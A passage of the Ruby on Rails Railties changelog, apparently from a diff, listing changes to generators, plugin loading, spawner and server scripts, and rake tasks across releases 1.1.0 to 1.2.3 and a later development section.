entity.to_xml. *Jeremy Kemper* + +* Resource scaffolding responds to new.xml. #8185 *Eric Mill* + +* Include Active Resource in rails:freeze:edge rake task. *Thomas Fuchs* + +* Include Active Resource instead of Action Web Service [David Heinemeier Hansson] You can add AWS back with this in config/environment.rb: + + config.load_paths += %W( #{RAILS_ROOT}/vendor/rails/actionwebservice/lib ) + + ...or just gem 'actionwebservice' + +* Give generate scaffold a more descriptive database message. Closes #7316 *Jeremy McAnally* + +* Canonicalize RAILS_ROOT by using File.expand_path on Windows, which doesn't have to worry about symlinks, and Pathname#realpath elsewhere, which respects symlinks in relative paths but is incompatible with Windows. #6755 *Jeremy Kemper, trevor* + +* Deprecation: remove components from controller paths. *Jeremy Kemper* + +* Add environment variable RAILS_DEFAULT_DATABASE, which allows the builtin default of 'mysql' to be overridden. *Nicholas Seckar* + +* Windows: include MinGW in RUBY_PLATFORM check. #2982 *okkez000@gmail.com, Kaspar Schiess* + +* Split out the basic plugin locator functionality into an abstract super class. Add a FileSystemLocator to do the job of checking the plugin_paths for plugins. Add plugin_locators configuration option which will iterate over the set of plugin locators and load each of the plugin loaders they return. Rename locater everywhere to locator. *Marcel Molina Jr.* + +* Split plugin location and loading out of the initializer and into a new Plugin namespace, which includes Plugin::Locater and Plugin::Loader. The loader class that is used can be customized using the config.plugin_loader option. Those monkey patching the plugin loading subsystem take note, the internals changing here will likely break your modifications. The good news is that it should be substantially easier to hook into the plugin locating and loading process now. *Marcel Molina Jr.* + +* Added assumption that all plugin creators desire to be sharing individuals and release their work under the MIT license *David Heinemeier Hansson* + +* Added source-annotations extractor tasks to rake [Jamis Buck]. This allows you to add FIXME, OPTIMIZE, and TODO comments to your source code that can then be extracted in concert with rake notes (shows all), rake notes:fixme, rake notes:optimize and rake notes:todo. + +* Added fixtures :all to test_helper.rb to assume that most people just want all their fixtures loaded all the time *David Heinemeier Hansson* + +* Added config/initializers where all ruby files within it are automatically loaded after the Rails configuration is done, so you don't have to litter the environment.rb file with a ton of mixed stuff *David Heinemeier Hansson* + +* For new apps, generate a random secret for the cookie-based session store. *Jeremy Kemper* + +* Stop swallowing errors during rake test *Michael Koziarski* + +* Update Rails Initializer to use ActionController::Base#view_paths *Rick Olson* + +* Fix gem deprecation warnings, which also means depending on RubyGems 0.9.0+ *Chad Fowler* + +* Plugins may be symlinked in vendor/plugins. #4245 *brandon, progrium@gmail.com* + +* Resource generator depends on the model generator rather than duplicating it. #7269 *bscofield* + +* Add/Update usage documentation for script/destroy, resource generator and scaffold_resource generator. Closes #7092, #7271, #7267. *bscofield* + +* Update to script.aculo.us 1.7.0. *Thomas Fuchs* + +* Update to Prototype 1.5.0. *Sam Stephenson* + +* Generator: use destination path for diff tempfiles. #7015 *alfeld* + +* Fixed that webrick would strip leading newlines and hang connection #4156 *psross* + +* Ensure plugins are in the Dependencies.load_once_paths collection by default. *Rick Olson* + If you really want your plugins to reload, add this to the very top of init.rb: + + Dependencies.load_once_paths.delete(lib_path) + +* Allow config.to_prepare to work, make the dispatcher safe to 're require'. *Michael Koziarski, Nicholas Seckar* + +* Fix scaffold_resource generator so it respects the --pretend argument when creating the routes file. Closes #6852 *fearoffish* + +* Fix Webrick Daemon dispatching bug regarding a bad current working directory. Closes #4899 *Rick Olson* + +* Make config.plugins affect the load path and the dependencies system. Allows you to control plugin loading order, and keep disabled plugins off the load path. *James Adam* + +* Don't generate a components directory in new Rails apps. *Jeremy Kemper* + +* Fixed script/process/spawner to work properly with Mongrel including in -r (daemonize mode) *David Heinemeier Hansson* + +* Added one-letter aliases for the three default environments to script/console, so script/console p will load the production environment (t for test, d for development) *David Heinemeier Hansson* + +* Fixed that script/server running against Mongrel should tail the proper log regardless of the environment *David Heinemeier Hansson* + +* Update initializer to load Rails::VERSION as soon as possible. Closes #6698. *Nicholas Seckar* + +* Added ActiveRecord::Base.clear_active_connections! in development mode so the database connection is not carried over from request to request. Some databases won't reread the schema if that doesn't happen (I'm looking at you SQLite), so you have to restart the server after each migration (= no fun) *David Heinemeier Hansson* + +* Made RAILS_GEM_VERSION work for beta gems too, so specifying 1.1.6 will give you 1.1.6.4520 if available *David Heinemeier Hansson* + +* Update to Prototype and script.aculo.us [5579]. *Thomas Fuchs* + +* Made script/server work with -e and -d when using Mongrel *David Heinemeier Hansson* + +* Update to Prototype 1.5.0_rc2 [5550] which makes it work in Opera again *Thomas Fuchs* + +* Make sure that exceptions which are thrown outside of the user code try their best to be handeled in ApplicationController#rescue_action *Tobias Lütke* + +* Rails::VERSION::STRING should always be available without having to require 'rails/version'. #6244 *fearoffish* + +* Update to Prototype 1.5.0_rc2. *Sam Stephenson* + +* Add grep-based fallback to reaper, to work in pidless setups *Jamis Buck* + +* Only wrap request processing with our USR1 signal handler so FastCGI can trap it and raise an exception while waiting for connections. Idle processes exit immediately rather than waiting for another request; active processes gracefully exit when the request is finished. *Jeremy Kemper* + +* Alter prior change to use require_dependency instead of require_or_load. Causes ApplicationController to be reloaded again. Closes #6587. *Nicholas Seckar* + +* Rake: use absolute paths to load lib and vendor tasks so they may be run outside of RAILS_ROOT. #6584 *jchris* + +* Remove temporary crutch to help ApplicationController be unloaded. Closes #6496. *Nicholas Seckar* + +* scaffold_resource generator uses _path named routes and head instead of render :nothing => true. #6545 *Josh Susser* + +* Generator can show diff on file collision to help you decide whether to skip or overwrite. #6364 *jeffw, Jeremy Kemper* + +* Generated directories are recursively svn added, like mkdir -p. #6416 *NeilW* + +* resource and scaffold_resource generators add a restful route to config/routes.rb *Jeremy Kemper* + +* Revert environment changes for autoload_paths. *Michael Koziarski* + +* Update to latest Prototype, which doesn't serialize disabled form elements, adds clone() to arrays, empty/non-string Element.update() and adds a fixes excessive error reporting in WebKit beta versions *Thomas Fuchs* + +* Clean up the output of rake stats, de-emphasise components and apis, and remove the indents for tests *Michael Koziarski* + +* Added option to script/process/spawner of specifying the binding address #5133 *Dee Zsombor* + +* Update environment.rb comments to include config.autoload_paths. Closes #6478 *caio* + +* Update scaffold to use new form_tag block functionality. Closes #6480. *Bob Silva* + +* Plugin generator: check for class collisions. #4833 *vinbarnes@gmail.com* + +* Mailer generator: handle mailers in modules, set mime_version in unit test. *Jeremy Kemper* + +* Set $KCODE to 'u' by default to enable the multibyte safe String#chars proxy. *Michael Koziarski* + +* Added config.plugins to control which plugins are loaded #6269 [Stefan Kaes]. By default, everything in vendor/plugins will be loaded, but if you specify config.plugins, only those will be loaded. Example: + + config.plugins = %w[ routing_navigator simply_helpful ] + +* Clean up html on included error pages. *Tim Lucas* + +* Fixed default 404.html and 500.htmls to remove extreme ugliness and include human language *David Heinemeier Hansson* + +* Update to latest Prototype and script.aculo.us trunk versions *Thomas Fuchs* + +* PostgreSQL: db:test:purge closes open database connections first. #6236 *alex* + +* Fixed test:uncommitted on Windows (backslash issue) #4999 *paul@paulbutcher.com* + +* Fixed migration creation to work with namespaced models, so script/generate model Gallery::Image will use create_table :gallery_images #6327 *Bob Silva* + +* Fixed rename_table on SQLite tables with indexes defined #5942 *brandon@opensoul.org* + +* Added default timeout setting of 5 seconds to SQLite3 database.yml configurations *David Heinemeier Hansson* + +* Added generated attribute options to script/generate model, like the one found in scaffold_resource and resource [David Heinemeier Hansson]. Examples: + + ./script/generate model post title:string created_on:date body:text published:boolean + +* Added script/generate resource which works just like scaffold_resource, but creates empty placeholders instead of predefined *David Heinemeier Hansson* + +* script/runner can run files, pass on arguments, and be used as a shebang. #6286 *Tuxie, dlpond* + #!/usr/bin/env /path/to/my/app/script/runner + # Example: just start using your models as if you are in script/console + Product.find(:all).each { |product| product.check_inventory } + +* Look for rake tasks in plugin subdirs. #6259 *obrie* + +* Added map.connect ':controller/:action/:id.:format' as a default route to config/routes.rb *David Heinemeier Hansson* + +* Updated prototype.js to 1.5.0_rc1 with latest fixes. *Rick Olson* + + - XPATH support + - Make Form.getElements() return elements in the correct order + - fix broken Form.serialize return + +* session_migration generator adds an index on updated_at. #6207 *grg* + +* script/server creates the tmp/pids directory. #6204 *jonathan* + +* Fix script/console --sandbox for internal transactions changes. #5738 *Chris McGrath, charles.gerungan@gmail.com* + +* Remove the uncanny default of adding all app/models/*/ directories to the load path. This change will break application which expect the current behavior. As + documented in initializer.rb, the workaround is: + + config.autoload_paths += Dir*RAILS_ROOT + '/app/models/*/'* + + References #6031. *Nicholas Seckar* + +* Update to script.aculo.us 1.6.3 *Thomas Fuchs* + +* Update to Prototype 1.5.0_rc1 *sam* + +* Formally Deprecate the old rake tasks. *Michael Koziarski* + +* Thoroughly test the FCGI dispatcher. #5970 *Kevin Clark* + +* Remove Dir.chdir in the Webrick DispatchServlet#initialize method. Fix bad path errors when trying to load config/routes.rb. *Rick Olson* + +* Tighten rescue clauses. #5985 *james@grayproductions.net* + +* Cleaning up tests. *Kevin Clark, Jeremy Kemper* + +* Add Dependencies.load_once_paths. *Nicholas Seckar* + +* Updated to script.aculo.us 1.6.2 *Thomas Fuchs* + +* Assign Routing.controller_paths; fix script/about and rails info controller. *Nicholas Seckar* + +* Don't warn dispatcher of Reloadable deprecations. *Nicholas Seckar* + +* Rearrange application resetting and preparation, fix bug with leaking subclasses hash in ActiveRecord::Base *Rick Olson* + + ActiveRecord::Base.reset_subclasses is called before Dependencies are cleared and classes removed. + ActiveRecord::Base.instantiate_observers is called during a Dispatcher preparation callback. + +* Add missing mock directories from the autoload_paths configuration. *Rick Olson* + +* Nested controller scaffolding also nests the generated layout. *iain d broadfoot* + +* Add "require 'dispatcher'" to webrick server in the continuing quest to squash webrick weirdness. *Nicholas Seckar* + +* Add autoload_paths support to Initializer. *Nicholas Seckar* + +* Fix Dispatcher.reset_application! so that AR subclasses are removed and Observers re-initialized *after* Reloadable classes are removed. Closes #5743. *Rick Olson* + +* Clarify usage of script/plugin source. Closes #5344. *James Adam* + +* Add Dispatcher.to_prepare and config.to_prepare to provide a pre-request hook. *Nicholas Seckar* + +* Tweak the Rails load order so observers are loaded after plugins, and reloaded in development mode. Closed #5279. *Rick Olson* + +* Added that you can change the web server port in config/lighttpd.conf from script/server --port/-p #5465 *mats@imediatec.co.uk* + +* script/performance/profiler compatibility with the new ruby-prof, including an option to choose the results printer. #5679 *Shugo Maeda* + +* Fixed the failsafe response so it uses either the current recognized controller or ApplicationController. *Rick Olson* + +* Make sure script/reaper only reaps dispatcher pids by default, and not the spawner's pid. *Jamis Buck* + +* Fix script/plugin about so it uses about.yml and not meta.yml. *James Adam* + +* Dispatcher processes rescued actions with the same controller that processed the request. #4625 *sd@notso.net* + +* rails -d frontbase to create a new project with a frontbase database.yml. #4945 *mlaster@metavillage.com* + +* Ensure the logger is initialized. #5629 *mike@clarkware.com* + +* Added Mongrel-spawning capabilities to script/process/spawner. Mongrel will be the default choice if installed, otherwise FCGI is tried [David Heinemeier Hansson]. Examples: + + spawner # starts instances on 8000, 8001, and 8002 using Mongrel if available + spawner fcgi # starts instances on 8000, 8001, and 8002 using FCGI + spawner mongrel -i 5 # starts instances on 8000, 8001, 8002, 8003, and 8004 using Mongrel + spawner -p 9100 -i 10 # starts 10 instances counting from 9100 to 9109 using Mongrel if available + spawner -p 9100 -r 5 # starts 3 instances counting from 9100 to 9102 and attempts start them every 5 seconds + + Also note that script/process/reaper is Mongrel capable. So the combination of spawner and reaper is a built-in alternative to something like mongrel_cluster. + +* Update scaffolding functional tests to use :id => people(:first) instead of :id => 1. #5612 *evan@protest.net* + +* db:test:clone should remove existing tables before reloading the schema. #5607 *sveit@tradeharbor.com* + +* Fixed migration generation for class names like ACLController #5197 *brad@madriska.com* + +* Added show_source_list and show_call_stack to breakpoints to make it easier to get context #5476 [takiuchi@drecom.co.jp]. Examples: + + irb(#<TopController:0x40822a68>):002:0> show_source_list + 0001 class TopController < ApplicationController + 0002 def show + 0003-> breakpoint + 0004 end + 0005 + 0006 def index + 0007 end + 0008 + => "/path/to/rails/root/app/controllers/top_controller.rb" + + irb(#<TopController:0x40822a68>):004:0> show_call_stack 3 + vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint' + vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint' + app/controllers/top_controller.rb:3:in `show' + => "/path/to/rails/root/app/controllers/top_controller.rb:3" + +* Generate scaffold layout in subdirectory appropriate to its module nesting. #5511 *nils@alumni.rice.edu* + +* Mongrel: script/server tails the rails log like it does with lighttpd. Prefer mongrel over lighttpd. #5541 *mike@clarkware.com* + +* Don't assume Active Record is available. #5497 *bob@sporkmonger.com* + +* Mongrel: script/server works on Win32. #5499 *jeremydurham@gmail.com* + +* Remove opts.on { |options[:option_name] } style hash assignment. Closes #4440. *Nick Sieger* + +* Mongrel support for script/server. #5475 *jeremydurham@gmail.com* + +* Fix script/plugin so it doesn't barf on invalid URLs *Rick Olson* + +* Fix plugin install bug at dir with space. (closes #5359) *Yoshimasa NIWA* + +* Fix bug with 'script/plugin install' so it reports unknown plugin names correctly. *Rick Olson* + +* Added uninstall.rb hook to plugin handling, such that plugins have a way of removing assets and other artifacts on removal #5003 *takiuchi@drecom.co.jp* + +* Create temporary dirs relative to RAILS_ROOT when running script/server #5014 *elliot@townx.org* + +* Minor tweak to dispatcher to use recognize instead of recognize!, as per the new routes. *Jamis Buck* + +* Make "script/plugin install" work with svn+ssh URLs. *Sam Stephenson* + +* Added lib/ to the directories that will get application docs generated *David Heinemeier Hansson* + +* Add observer generator. Closes #5167. *François Beausoleil* + +* Session migration generator obeys pluralize_table_names. #5145 *James Adam* + +* rake test:recent understands subdirectories. #2925 *jerrett@bravenet.com* + +* The app generator detects the XAMPP package's MySQL socket location. #3832 *elliot@townx.org* + +* The app generator sets a session key in application.rb so apps running on the same host may distinguish their cookies. #2967 *rcoder, rails-bug@owl.me.uk* + +* Distinguish the spawners for different processes *David Heinemeier Hansson* + +* Added -n/--process to script/process/spawner name the process pid (default is dispatch) *David Heinemeier Hansson* + +* Namespaced OrderedHash so the Rails implementation does not clash with any others. (fixes #4911) *Julian Tarkhanov* + +* Replace Ruby's deprecated append_features in favor of included. *Marcel Molina Jr.* + +* Added script/process/inspector to do simple process status information on Rails dispatchers keeping pid files in tmp/pids *David Heinemeier Hansson* + +* Added pid file usage to script/process/spawner and script/process/reaper along with a directive in default config/lighttpd.conf file to record the pid. They will all save their pid file in tmp/pids *David Heinemeier Hansson* + + +## 1.2.3 (March 12th, 2007) ## + +* Ruby 1.8.6 compatibility + +* Windows: include MinGW in RUBY_PLATFORM check. #2982 *okkez000@gmail.com, Kaspar Schiess* + +* Stop swallowing errors during rake test *Michael Koziarski* + + +## 1.2.2 (February 5th, 2007) ## + +* Fix gem deprecation warnings, which also means depending on RubyGems 0.9.0+ *Chad Fowler* + +* Require the dispatcher for Rails::Configuration#to_prepare. *Rick Olson* + + +## 1.2.1 (January 16th, 2007) ## + +* Updated to Active Record 1.15.1, Action Pack 1.13.1, Action Mailer 1.3.1, Action Web Service 1.2.1 + + +## 1.2.0 (January 16th, 2007) ## + +* Update to Prototype 1.5.0. *Sam Stephenson* + +* Generator: use destination path for diff tempfiles. #7015 *alfeld* + +* Fixed that webrick would strip leading newlines and hang connection #4156 *psross* + +* Ensure plugins are in the Dependencies.load_once_paths collection by default. *Rick Olson* + If you really want your plugins to reload, add this to the very top of init.rb: + + Dependencies.load_once_paths.delete(lib_path) + +* Fix scaffold_resource generator so it respects the --pretend argument when creating the routes file. Closes #6852 *fearoffish* + +* Fix Webrick Daemon dispatching bug regarding a bad current working directory. Closes #4899 *Rick Olson* + +* Make config.plugins affect the load path and the dependencies system. Allows you to control plugin loading order, and keep disabled plugins off the load path. *James Adam* + +* Don't generate a components directory in new Rails apps. *Jeremy Kemper* + +* Fixed script/process/spawner to work properly with Mongrel including in -r (daemonize mode) *David Heinemeier Hansson* + +* Deprecated the name route "root" as it'll be used as a shortcut for map.connect '' in Rails 2.0 *David Heinemeier Hansson* + +* Fixed that script/server running against Mongrel should tail the proper log regardless of the environment *David Heinemeier Hansson* + +* Update initializer to load Rails::VERSION as soon as possible. Closes #6698. *Nicholas Seckar* + +* Added ActiveRecord::Base.clear_active_connections! in development mode so the database connection is not carried over from request to request. Some databases won't reread the schema if that doesn't happen (I'm looking at you SQLite), so you have to restart the server after each migration (= no fun) *David Heinemeier Hansson* + +* Made RAILS_GEM_VERSION work for beta gems too, so specifying 1.1.6 will give you 1.1.6.4520 if available *David Heinemeier Hansson* + +* Update to Prototype and script.aculo.us [5579]. *Sam Stephenson, Thomas Fuchs* + +* Made script/server work with -e and -d when using Mongrel *David Heinemeier Hansson* + +* Make sure that exceptions which are thrown outside of the user code try their best to be handeled in ApplicationController#rescue_action *Tobias Lütke* + +* Rails::VERSION::STRING should always be available without having to require 'rails/version'. #6244 *fearoffish* + +* Add grep-based fallback to reaper, to work in pidless setups *Jamis Buck* + +* Only wrap request processing with our USR1 signal handler so FastCGI can trap it and raise an exception while waiting for connections. Idle processes exit immediately rather than waiting for another request; active processes gracefully exit when the request is finished. *Jeremy Kemper* + +* Alter prior change to use require_dependency instead of require_or_load. Causes ApplicationController to be reloaded again. Closes #6587. *Nicholas Seckar* + +* Rake: use absolute paths to load lib and vendor tasks so they may be run outside of RAILS_ROOT. #6584 *jchris* + +* scaffold_resource generator uses _path named routes and head instead of render :nothing => true. #6545 *Josh Susser* + +* Generator can show diff on file collision to help you decide whether to skip or overwrite. #6364 *jeffw, Jeremy Kemper* + +* Generated directories are recursively svn added, like mkdir -p. #6416 *NeilW* + +* resource and scaffold_resource generators add a restful route to config/routes.rb *Jeremy Kemper* + +* Revert environment changes for autoload_paths. *Michael Koziarski* + +* Clean up the output of rake stats, de-emphasise components and apis, and remove the indents for tests *Michael Koziarski* + +* Added option to script/process/spawner of specifying the binding address #5133 *Dee Zsombor* + +* Update environment.rb comments to include config.autoload_paths. Closes #6478 *caio* + +* Update scaffold to use new form_tag block functionality. Closes #6480. *Bob Silva* + +* Plugin generator: check for class collisions. #4833 *vinbarnes@gmail.com* + +* Mailer generator: handle mailers in modules, set mime_version in unit test. *Jeremy Kemper* + +* Set $KCODE to 'u' by default to enable the multibyte safe String#chars proxy. *Michael Koziarski* + +* Added config.plugins to control which plugins are loaded #6269 [Stefan Kaes]. By default, everything in vendor/plugins will be loaded, but if you specify config.plugins, only those will be loaded. Example: + + config.plugins = %w[ routing_navigator simply_helpful ] + +* Clean up html on included error pages. *Tim Lucas* + +* Fixed default 404.html and 500.htmls to remove extreme ugliness and include human language *David Heinemeier Hansson* + +* Update to latest Prototype and script.aculo.us trunk versions *Thomas Fuchs* + +* PostgreSQL: db:test:purge closes open database connections first. #6236 *alex* + +* Fixed test:uncommitted on Windows (backslash issue) #4999 *paul@paulbutcher.com* + +* Fixed migration creation to work with namespaced models, so script/generate model Gallery::Image will use create_table :gallery_images #6327 *Bob Silva* + +* Fixed rename_table on SQLite tables with indexes defined #5942 *brandon@opensoul.org* + +* Added default timeout setting of 5 seconds to SQLite3 database.yml configurations *David Heinemeier Hansson* + +* Added generated attribute options to script/generate model, like the one found in scaffold_resource and resource [David Heinemeier Hansson]. Examples: + + ./script/generate model post title:string created_on:date body:text published:boolean + +* Added script/generate resource which works just like scaffold_resource, but creates empty placeholders instead of predefined *David Heinemeier Hansson* + +* script/runner can run files, pass on arguments, and be used as a shebang. #6286 *Tuxie, dlpond* + #!/usr/bin/env /path/to/my/app/script/runner + # Example: just start using your models as if you are in script/console + Product.find(:all).each { |product| product.check_inventory } + +* Look for rake tasks in plugin subdirs. #6259 *obrie* + +* Added map.connect ':controller/:action/:id.:format' as a default route to config/routes.rb *David Heinemeier Hansson* + +* session_migration generator adds an index on updated_at. #6207 *grg* + +* script/server creates the tmp/pids directory. #6204 *jonathan* + +* Fix script/console --sandbox for internal transactions changes. #5738 *Chris McGrath, charles.gerungan@gmail.com* + +* Remove the uncanny default of adding all app/models/*/ directories to the load path. This change will break application which expect the current behavior. As + documented in initializer.rb, the workaround is: + + config.autoload_paths += Dir*RAILS_ROOT + '/app/models/*/'* + + References #6031. *Nicholas Seckar* + +* Update to script.aculo.us 1.6.3 *Thomas Fuchs* + +* Formally Deprecate the old rake tasks. *Michael Koziarski* + +* Thoroughly test the FCGI dispatcher. #5970 *Kevin Clark* + +* Remove Dir.chdir in the Webrick DispatchServlet#initialize method. Fix bad path errors when trying to load config/routes.rb. *Rick Olson* + +* Tighten rescue clauses. #5985 *james@grayproductions.net* + +* Cleaning up tests. *Kevin Clark, Jeremy Kemper* + +* Add Dependencies.load_once_paths. *Nicholas Seckar* + +* Assign Routing.controller_paths; fix script/about and rails info controller. *Nicholas Seckar* + +* Don't warn dispatcher of Reloadable deprecations. *Nicholas Seckar* + +* Rearrange application resetting and preparation, fix bug with leaking subclasses hash in ActiveRecord::Base *Rick Olson* + + ActiveRecord::Base.reset_subclasses is called before Dependencies are cleared and classes removed. + ActiveRecord::Base.instantiate_observers is called during a Dispatcher preparation callback. + +* Add missing mock directories from the autoload_paths configuration. *Rick Olson* + +* Nested controller scaffolding also nests the generated layout. *iain d broadfoot* + +* Add "require 'dispatcher'" to webrick server in the continuing quest to squash webrick weirdness. *Nicholas Seckar* + +* Add autoload_paths support to Initializer. *Nicholas Seckar* + +* Fix Dispatcher.reset_application! so that AR subclasses are removed and Observers re-initialized *after* Reloadable classes are removed. Closes #5743. *Rick Olson* + +* Clarify usage of script/plugin source. Closes #5344. *James Adam* + +* Add Dispatcher.to_prepare and config.to_prepare to provide a pre-request hook. *Nicholas Seckar* + +* Tweak the Rails load order so observers are loaded after plugins, and reloaded in development mode. Closed #5279. *Rick Olson* + +* Added that you can change the web server port in config/lighttpd.conf from script/server --port/-p #5465 *mats@imediatec.co.uk* + +* script/performance/profiler compatibility with the new ruby-prof, including an option to choose the results printer. #5679 *Shugo Maeda* + +* Fixed the failsafe response so it uses either the current recognized controller or ApplicationController. *Rick Olson* + +* Make sure script/reaper only reaps dispatcher pids by default, and not the spawner's pid. *Jamis Buck* + +* Fix script/plugin about so it uses about.yml and not meta.yml. *James Adam* + +* Dispatcher processes rescued actions with the same controller that processed the request. #4625 *sd@notso.net* + +* rails -d frontbase to create a new project with a frontbase database.yml. #4945 *mlaster@metavillage.com* + +* Ensure the logger is initialized. #5629 *mike@clarkware.com* + +* Added Mongrel-spawning capabilities to script/process/spawner. Mongrel will be the default choice if installed, otherwise FCGI is tried [David Heinemeier Hansson]. Examples: + + spawner # starts instances on 8000, 8001, and 8002 using Mongrel if available + spawner fcgi # starts instances on 8000, 8001, and 8002 using FCGI + spawner mongrel -i 5 # starts instances on 8000, 8001, 8002, 8003, and 8004 using Mongrel + spawner -p 9100 -i 10 # starts 10 instances counting from 9100 to 9109 using Mongrel if available + spawner -p 9100 -r 5 # starts 3 instances counting from 9100 to 9102 and attempts start them every 5 seconds + + Also note that script/process/reaper is Mongrel capable. So the combination of spawner and reaper is a built-in alternative to something like mongrel_cluster. + +* Update scaffolding functional tests to use :id => people(:first) instead of :id => 1. #5612 *evan@protest.net* + +* db:test:clone should remove existing tables before reloading the schema. #5607 *sveit@tradeharbor.com* + +* Fixed migration generation for class names like ACLController #5197 *brad@madriska.com* + +* Added show_source_list and show_call_stack to breakpoints to make it easier to get context #5476 [takiuchi@drecom.co.jp]. Examples: + + irb(#<TopController:0x40822a68>):002:0> show_source_list + 0001 class TopController < ApplicationController + 0002 def show + 0003-> breakpoint + 0004 end + 0005 + 0006 def index + 0007 end + 0008 + => "/path/to/rails/root/app/controllers/top_controller.rb" + + irb(#<TopController:0x40822a68>):004:0> show_call_stack 3 + vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint' + vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint' + app/controllers/top_controller.rb:3:in `show' + => "/path/to/rails/root/app/controllers/top_controller.rb:3" + +* Generate scaffold layout in subdirectory appropriate to its module nesting. #5511 *nils@alumni.rice.edu* + +* Mongrel: script/server tails the rails log like it does with lighttpd. Prefer mongrel over lighttpd. #5541 *mike@clarkware.com* + +* Don't assume Active Record is available. #5497 *bob@sporkmonger.com* + +* Mongrel: script/server works on Win32. #5499 *jeremydurham@gmail.com* + +* Remove opts.on { |options[:option_name] } style hash assignment. Closes #4440. *Nick Sieger* + +* Mongrel support for script/server. #5475 *jeremydurham@gmail.com* + +* Fix script/plugin so it doesn't barf on invalid URLs *Rick Olson* + +* Fix plugin install bug at dir with space. (closes #5359) *Yoshimasa NIWA* + +* Fix bug with 'script/plugin install' so it reports unknown plugin names correctly. *Rick Olson* + +* Added uninstall.rb hook to plugin handling, such that plugins have a way of removing assets and other artifacts on removal #5003 *takiuchi@drecom.co.jp* + +* Create temporary dirs relative to RAILS_ROOT when running script/server #5014 *elliot@townx.org* + +* Minor tweak to dispatcher to use recognize instead of recognize!, as per the new routes. *Jamis Buck* + +* Make "script/plugin install" work with svn+ssh URLs. *Sam Stephenson* + +* Added lib/ to the directories that will get application docs generated *David Heinemeier Hansson* + +* Add observer generator. Closes #5167. *François Beausoleil* + +* Session migration generator obeys pluralize_table_names. #5145 *James Adam* + +* rake test:recent understands subdirectories. #2925 *jerrett@bravenet.com* + +* The app generator detects the XAMPP package's MySQL socket location. #3832 *elliot@townx.org* + +* The app generator sets a session key in application.rb so apps running on the same host may distinguish their cookies. #2967 *rcoder, rails-bug@owl.me.uk* + +* Distinguish the spawners for different processes *David Heinemeier Hansson* + +* Added -n/--process to script/process/spawner name the process pid (default is dispatch) *David Heinemeier Hansson* + +* Namespaced OrderedHash so the Rails implementation does not clash with any others. (fixes #4911) *Julian Tarkhanov* + +* Replace Ruby's deprecated append_features in favor of included. *Marcel Molina Jr.* + +* Added script/process/inspector to do simple process status information on Rails dispatchers keeping pid files in tmp/pids *David Heinemeier Hansson* + +* Added pid file usage to script/process/spawner and script/process/reaper along with a directive in default config/lighttpd.conf file to record the pid. They will all save their pid file in tmp/pids *David Heinemeier Hansson* + + +## 1.1.6 (August 10th, 2006) ## + +* Additional security patch + + +## 1.1.5 (August 8th, 2006) ## + +* Mention in docs that config.frameworks doesn't work when getting Rails via Gems. #4857 *Alisdair McDiarmid* + +* Change the scaffolding layout to use yield rather than @content_for_layout. *Marcel Molina Jr.* + +* Includes critical security patch + + +## 1.1.4 (June 29th, 2006) ## + +* Remove use of opts.on { |options[:name] } style hash assignment. References #4440. *headius@headius.com* + +* Updated to Action Pack 1.12.3, ActionWebService 1.1.4, ActionMailer 1.2.3 + + +## 1.1.3 (June 27th, 2006) ## + +* Updated to Active Record 1.14.3, Action Pack 1.12.2, ActionWebService 1.1.3, ActionMailer 1.2.2 + + +## 1.1.2 (April 9th, 2006) ## + +* Mention in docs that config.frameworks doesn't work when getting Rails via Gems. Closes #4857. *Alisdair McDiarmid* + +* Change the scaffolding layout to use yield rather than @content_for_layout. *Marcel Molina Jr.* + +* Added rake rails:update:configs to update config/boot.rb from the latest (also included in rake rails:update) *David Heinemeier Hansson* + +* Fixed that boot.rb would set RAILS_GEM_VERSION twice, not respect an uncommented RAILS_GEM_VERSION line, and not use require_gem *David Heinemeier Hansson* + + +## 1.1.1 (April 6th, 2006) ## + +* Enhances plugin#discover allowing it to discover svn:// like URIs (closes #4565) *ruben.nine@gmail.com* + +* Update to Prototype 1.5.0_rc0 *Sam Stephenson* + +* Fixed that the -r/--ruby path option of the rails command was not being respected #4549 *ryan.raaum@gmail.com* + +* Added that Dispatcher exceptions should not be shown to the user unless a default log has not been configured. Instead show public/500.html *David Heinemeier Hansson* + +* Fixed that rake clone_structure_to_test should quit on pgsql if the dump is unsuccesful #4585 *augustz@augustz.com* + +* Fixed that rails --version should have the return code of 0 (success) #4560 *blair@orcaware.com* + +* Install alias so Rails::InfoController is accessible at /rails_info. Closes #4546. *Nicholas Seckar* + +* Fixed that spawner should daemonize if running in repeat mode *David Heinemeier Hansson* + +* Added TAG option for rake rails:freeze:edge, so you can say rake rails:freeze:edge TAG=rel_1-1-0 to lock to the 1.1.0 release *David Heinemeier Hansson* + +* Applied Prototype $() performance patches (#4465, #4477) and updated script.aculo.us *Sam Stephenson, Thomas Fuchs* + +* Use --simple-prompt instead of --prompt-mode simple for console compatibility with Windows/Ruby 1.8.2 #4532 *starr@starrnhorne.com* + +* Make Rails::VERSION implicitly loadable #4491. *Nicholas Seckar* + +* Fixed rake rails:freeze:gems #4518 *benji@silverinsanity.com* + +* Added -f/--freeze option to rails command for freezing the application to the Rails version it was generated with *David Heinemeier Hansson* + +* Added gem binding of apps generated through the rails command to the gems of they were generated with *Nicholas Seckar* + +* Added expiration settings for JavaScript, CSS, HTML, and images to default lighttpd.conf *David Heinemeier Hansson* + +* Added gzip compression for JavaScript, CSS, and HTML to default lighttpd.conf *David Heinemeier Hansson* + +* Avoid passing escapeHTML non-string in Rails' info controller *Nicholas Seckar* + + +## 1.1.0 (March 27th, 2006) ## + +* Allow db:fixtures:load to load a subset of the applications fixtures. *Chad Fowler* + + ex. + + rake db:fixtures:load FIXTURES=customers,plans + +* Update to Prototype 1.5.0_pre1 *Sam Stephenson* + +* Update to script.aculo.us 1.6 *Thomas Fuchs* + +* Add an integration_test generator *Jamis Buck* + +* Make all ActionView helpers available in the console from the helper method for debugging purposes. n.b.: Only an 80% solution. Some stuff won't work, most will. *Marcel Molina Jr.* + + ex. + + >> puts helper.options_for_select([%w(a 1), %w(b 2), %w(c 3)]) + <option value="1">a</option> + <option value="2">b</option> + <option value="3">c</option> + => nil + +* Replaced old session rake tasks with db:sessions:create to generate a migration, and db:sessions:clear to remove sessions. *Rick Olson* + +* Reject Ruby 1.8.3 when loading Rails; extract version checking code. *Chad Fowler* + +* Remove explicit loading of RailsInfo and RailsInfoController. *Nicholas Seckar* + +* Move RailsInfo and RailsInfoController to Rails::Info and Rails::InfoController. *Nicholas Seckar* + +* Extend load path with Railties' builtin directory to make adding support code easy. 